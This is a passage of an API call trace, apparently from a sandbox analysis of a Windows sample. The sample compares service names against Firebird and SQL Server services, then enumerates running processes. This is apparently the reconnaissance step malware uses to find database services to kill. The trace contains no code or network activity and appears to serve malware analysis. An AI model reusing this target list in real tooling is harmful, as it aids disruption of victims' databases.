lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.507] lstrlenW (lpString="Audiosrv") returned 8 [0191.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0191.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0191.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0191.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0191.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0191.507] lstrlenW (lpString="BFE") returned 3 [0191.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.507] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0191.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0191.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0191.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0191.508] lstrlenW (lpString="CDPSvc") returned 6 [0191.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0191.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0191.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0191.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0191.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0191.508] lstrlenW (lpString="ClickToRunSvc") returned 13 [0191.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.508] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0191.508] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0191.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0191.508] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0191.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0191.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0191.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0191.509] lstrlenW (lpString="CryptSvc") returned 8 [0191.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.509] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.509] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.509] lstrlenW (lpString="DcomLaunch") returned 10 [0191.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.509] lstrlenW (lpString="DeviceAssociationService") returned 24 [0191.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0191.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0191.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0191.509] lstrlenW (lpString="Dhcp") returned 4 [0191.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.509] lstrlenW (lpString="Dnscache") returned 8 [0191.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.510] lstrlenW (lpString="DPS") returned 3 [0191.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.510] lstrlenW (lpString="DsmSvc") returned 6 [0191.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0191.510] lstrlenW (lpString="DusmSvc") returned 7 [0191.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0191.510] lstrlenW (lpString="EventLog") returned 8 [0191.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0191.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0191.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0191.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0191.510] lstrlenW (lpString="EventSystem") returned 11 [0191.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.510] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.510] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.511] lstrlenW (lpString="FontCache") returned 9 [0191.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0191.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0191.511] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0191.511] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0191.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0191.511] lstrlenW (lpString="gpsvc") returned 5 [0191.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.511] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.511] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.511] lstrlenW (lpString="iphlpsvc") returned 8 [0191.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.511] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.511] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.511] lstrlenW (lpString="KeyIso") returned 6 [0191.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0191.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0191.511] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0191.511] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0191.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0191.511] lstrlenW (lpString="LanmanServer") returned 12 [0191.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.512] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.512] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.512] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.512] lstrlenW (lpString="lfsvc") returned 5 [0191.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0191.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0191.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0191.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0191.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0191.512] lstrlenW (lpString="lmhosts") returned 7 [0191.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.512] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.512] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.512] lstrlenW (lpString="LSM") returned 3 [0191.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0191.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0191.810] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0191.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0191.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0191.810] lstrlenW (lpString="MpsSvc") returned 6 [0191.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.810] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.811] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.811] lstrlenW (lpString="NcbService") returned 10 [0191.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0191.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0191.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0191.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0191.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0191.811] lstrlenW (lpString="netprofm") returned 8 [0191.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.811] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.811] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.811] lstrlenW (lpString="NgcSvc") returned 6 [0191.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0191.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0191.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0191.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0191.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0191.811] lstrlenW (lpString="NlaSvc") returned 6 [0191.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.811] lstrlenW (lpString="nsi") returned 3 [0191.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.812] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.812] lstrlenW (lpString="PcaSvc") returned 6 [0191.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.812] lstrlenW (lpString="PlugPlay") returned 8 [0191.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.812] lstrlenW (lpString="Power") returned 5 [0191.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.812] lstrlenW (lpString="ProfSvc") returned 7 [0191.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.813] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.813] lstrlenW (lpString="RpcSs") returned 5 [0191.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.813] lstrlenW (lpString="SamSs") returned 5 [0191.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.813] lstrlenW (lpString="Schedule") returned 8 [0191.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.813] lstrlenW (lpString="SecurityHealthService") returned 21 [0191.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0191.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0191.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0191.814] lstrlenW (lpString="SENS") returned 4 [0191.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.814] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.814] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.814] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.814] lstrlenW (lpString="Spooler") returned 7 [0191.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.814] lstrlenW (lpString="StateRepository") returned 15 [0191.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0191.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0191.814] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0191.814] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0191.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0191.814] lstrlenW (lpString="SysMain") returned 7 [0191.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.815] lstrlenW (lpString="SystemEventsBroker") returned 18 [0191.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0191.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0191.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0191.815] lstrlenW (lpString="Themes") returned 6 [0191.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.815] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b398 | out: hHeap=0x420000) returned 1 [0191.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0191.820] Process32FirstW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.821] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.821] lstrlenW (lpString="System") returned 6 [0191.821] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.822] lstrlenW (lpString="smss.exe") returned 8 [0191.822] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.822] lstrlenW (lpString="csrss.exe") returned 9 [0191.822] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.823] lstrlenW (lpString="wininit.exe") returned 11 [0191.823] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.823] lstrlenW (lpString="csrss.exe") returned 9 [0191.823] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.824] lstrlenW (lpString="winlogon.exe") returned 12 [0191.824] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.824] lstrlenW (lpString="services.exe") returned 12 [0191.824] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.825] lstrlenW (lpString="lsass.exe") returned 9 [0191.825] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.825] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.825] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: 